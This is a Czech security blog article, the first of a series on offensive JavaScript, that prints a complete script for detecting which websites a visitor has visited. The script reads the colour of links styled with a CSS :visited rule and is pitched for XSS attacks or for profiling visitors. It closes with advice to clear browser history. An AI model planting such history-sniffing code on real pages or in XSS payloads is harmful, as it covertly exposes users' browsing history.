Zpět na seznam článků     Číst komentáře (9)     Verze pro tisk

Útočný JavaScript (1)

Autor: .cCuMiNn.   
31.1.2011

První díl seriálu, ve kterém se budeme střetávat s útočnými kódy z prostředí JavaScriptu. Tentokrát se zaměříme na zjišťování navštívených sránek.


Nový seriál, jehož první díl máte právě před sebou, se bude věnovat konkrétním útočným kódům napsaným v JavaScriptu. Ty najdou využití hlavně při útocích XSS. Možné je ale také jejich vložení do obsahu vlastních WWW stránek, kde mohou o návštívnících podat podrobné informace, mohou využít skrytí za jejich identitu, nebo jen využijí jejich výpočetní výkon.

Samotné skripty nebudou často mým vlastním výtvorem. Vždy ale odkážu na zdroj, ze kterého jsem čerpal, a kde případní zájemci mohou nalézt detailnější informace.

V tomto úvodním dílu se podíváme na způsob, kterým je možné zjistit, zda uživatel navštívil v minulosti konkrétní webové stránky. Kód pochází z knihy XSS Attacks: Cross Site Scripting Exploits and Defense autorů Setha Fogieho, Jeremiaha Grossmana a kol.

Samotný kód je založen na skutečnosti, že webový prohlížeč může obarvovat navštívené a nenavštívené odkazy různou barvou. Když tedy vytvoříme seznam linků, které volžíme na webovou stránku, můžeme podle jejich obarvení zjistit, zda byl daný link v minulosti navštíven nebo ne. Uvedený kód je funkční v prohlížečích Firefox / Mozilla.


  1. <html>
  2.  <body>
  3.   <H3>Navštívené</H3>
  4.   <ul id="visited"></ul>
  5.   <H3>Nenavštívené</H3>
  6.   <ul id="notvisited"></ul>
  7.   <script>
  8.    /* Seznam linků, které budou prověřeny */
  9.    var websites = [
  10.     "http://www.soom.cz/",
  11.     "http://www.hysteria.sk/",
  12.     "http://www.crypto-world.info/",
  13.     "http://blackhole.sk/",
  14.     "http://www.hoax.cz/",
  15.     "http://www.seznam.cz/",
  16.     "http://www.google.cz/"];
  17.    /* Cyklus pro všechny linky ze seznamu */
  18.    for (var i = 0; i < websites.length; i++) {
  19.    /* Vytvoření odkazu na URI ze seznamu */
  20.    var link = document.createElement("a");
  21.    link.id = "id" + i;
  22.    link.href = websites[i];
  23.    link.innerHTML = websites[i];
  24.    /* Vytvoření vlastního stylu odkazu pro speifický link. Nastaví CSS visited
  25.       selector na známou hodnotu, v tomto případě červenou. */
  26.    document.write('<style>');
  27.     document.write('#id' + i + ":visited {color: #FF0000;}");
  28.     document.write('</style>');
  29.     /* Přidá odkaz do DOM, zjistí jeho barvu a zase jej odebere z DOM */
  30.     document.body.appendChild(link);
  31.     var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
  32.     document.body.removeChild(link);
  33.     /* Zjištění zda byl odkaz navštíven, zda je jeho barva červená */
  34.     if (color == "rgb(255, 0, 0)") { // navštíven
  35.      /* Přidá odkaz mezi navštívené */
  36.      var item = document.createElement('li');
  37.      item.appendChild(link);
  38.      document.getElementById('visited').appendChild(item);
  39.     } else { // nenavštíven
  40.      /* Přidá odkaz mezi nenavštívené */
  41.      var item = document.createElement('li');
  42.      item.appendChild(link);
  43.      document.getElementById('notvisited').appendChild(item);
  44.     }
  45.    }
  46.   </script>
  47.  </body>
  48. </html>

Činnost skriptu demonstruje následující rám:




Pokud se nechcete stát obětí podobného útoku, je vhodné pravidelně promazávat historii navštívených stránek. To je možné provést jednak manuálně, ale také automaticky při každém vypnutí webového prohlížeče.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1.07/14

1  2  3  4  5    
(známkování jako ve škole)